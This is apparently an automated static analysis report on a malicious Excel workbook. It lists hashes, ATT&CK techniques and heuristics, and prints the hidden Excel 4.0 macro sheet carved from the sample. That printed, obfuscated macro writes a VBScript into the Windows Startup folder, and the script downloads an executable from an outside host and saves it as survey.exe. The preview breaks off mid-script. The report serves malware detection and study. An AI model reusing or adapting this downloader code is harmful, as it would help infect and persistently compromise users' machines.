Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ddd2cb040f047fb5…

MALICIOUS

Office (OOXML)

10.2 KB Created: 2021-09-16 19:14:17 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-29
MD5: c43eff8745ce4fa6cdff2aa7ffcafa57 SHA-1: ae929ce156e724ce3ef417abb01aa3573f7195ae SHA-256: ddd2cb040f047fb5ea903fb0c80da1db37c907917186131bf1777a07b9dd02ee
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1547.001 Registry Run Keys / Startup Folder

This Excel 4.0 macro sheet utilizes dangerous functions like FOPEN to write a VBScript payload to the startup folder. The script is constructed by concatenating strings to form the path 'C:\Users\Public\windows.vbs' and then writing it to 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\windows.vbs'. This indicates an attempt to establish persistence and likely download and execute a second-stage payload.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FOPEN, FCLOSE, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 5198 bytes
SHA-256: 0801295603af3fb0a3a32e2d81ce729046093593f01d27d7499bded7e831f650
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{DCC238D0-4899-4F46-8E29-D4F76CD6F3D5}"><dimension ref="FIQ161:FIQ184"/><sheetViews><sheetView showFormulas="1" topLeftCell="AAA1" workbookViewId="0"/></sheetViews><sheetFormatPr baseColWidth="10" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="702" width="0" hidden="1" customWidth="1"/></cols><sheetData><row r="161" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ161" t="b"><f bx="1">vgf="C"&amp;":"&amp;"\Use"&amp;"rs\Pub"&amp;"lic\"</f><v>0</v></c></row><row r="162" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ162" t="b"><f bx="1">p="Micro"&amp;"soft\Windo"&amp;"ws\Sta"&amp;"rt Menu\Progr"&amp;"ams\Sta"&amp;"rtup\"</f><v>0</v></c></row><row r="163" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ163" t="b"><f bx="1">fil=FOPEN(REPLACE(GET.WORKSPACE(23),(LEN(GET.WORKSPACE(23)) - 22),LEN(GET.WORKSPACE(23)),"")&amp;p&amp;"windo"&amp;"ws.vbs",3)</f><v>0</v></c></row><row r="164" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ164" t="e"><f>FWRITELN(fil,"On Error Resume Next")</f><v>#NAME?</v></c></row><row r="165" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ165" t="e"><f>FWRITELN(fil,"sha1vf8l = ""Ado""")</f><v>#NAME?</v></c></row><row r="166" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ166" t="e"><f>FWRITELN(fil,"o30lqchj = ""db.Str""")</f><v>#NAME?</v></c></row><row r="167" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ167" t="e"><f>FWRITELN(fil,"iunv6g0j = ""Micros""")</f><v>#NAME?</v></c></row><row r="168" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ168" t="e"><f>FWRITELN(fil,"ntb63zju = ""oft.XMLH""")</f><v>#NAME?</v></c></row><row r="169" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ169" t="e"><f>FWRITELN(fil,"af69c8k3 = ""htt"&amp;"ps://autorite-des-comptes.info/upload/hostwinsrc.exe""")</f><v>#NAME?</v></c></row><row r="170" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ170" t="e"><f>FWRITELN(fil,"dim uj9tvsiq: Set uj9tvsiq = createobject(iunv6g0j &amp; ntb63zju &amp; ""TTP"")")</f><v>#NAME?</v></c></row><row r="171" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ171" t="e"><f>FWRITELN(fil,"dim tvozas3s: Set tvozas3s = createobject(sha1vf8l &amp; o30lqchj &amp; ""eam"")")</f><v>#NAME?</v></c></row><row r="172" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ172" t="e"><f>FWRITELN(fil,"uj9tvsiq.Open ""GET"", af69c8k3, False")</f><v>#NAME?</v></c></row><row r="173" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ173" t="e"><f>FWRITELN(fil,"uj9tvsiq.Send")</f><v>#NAME?</v></c></row><row r="174" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ174" t="e"><f>FWRITELN(fil,"with tvozas3s")</f><v>#NAME?</v></c></row><row r="175" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ175" t="e"><f>FWRITELN(fil,"    .type = 1")</f><v>#NAME?</v></c></row><row r="176" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ176" t="e"><f>FWRITELN(fil,"    .open")</f><v>#NAME?</v></c></row><row r="177" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ177" t="e"><f>FWRITELN(fil,"    .write uj9tvsiq.responseBody")</f><v>#NAME?</v></c></row><row r="178" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ178" t="e"><f>FWRITELN(fil,"    .savetofi"&amp;"le """&amp;vgf&amp;"survey.exe"", 2")</f><v>#NAME?</v></c></row><row r="179" spans="4307:4307" x14ac:dyDescent="0.25"><c r="FIQ179" t="e"><f>FWRITELN(fil,"end with")
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.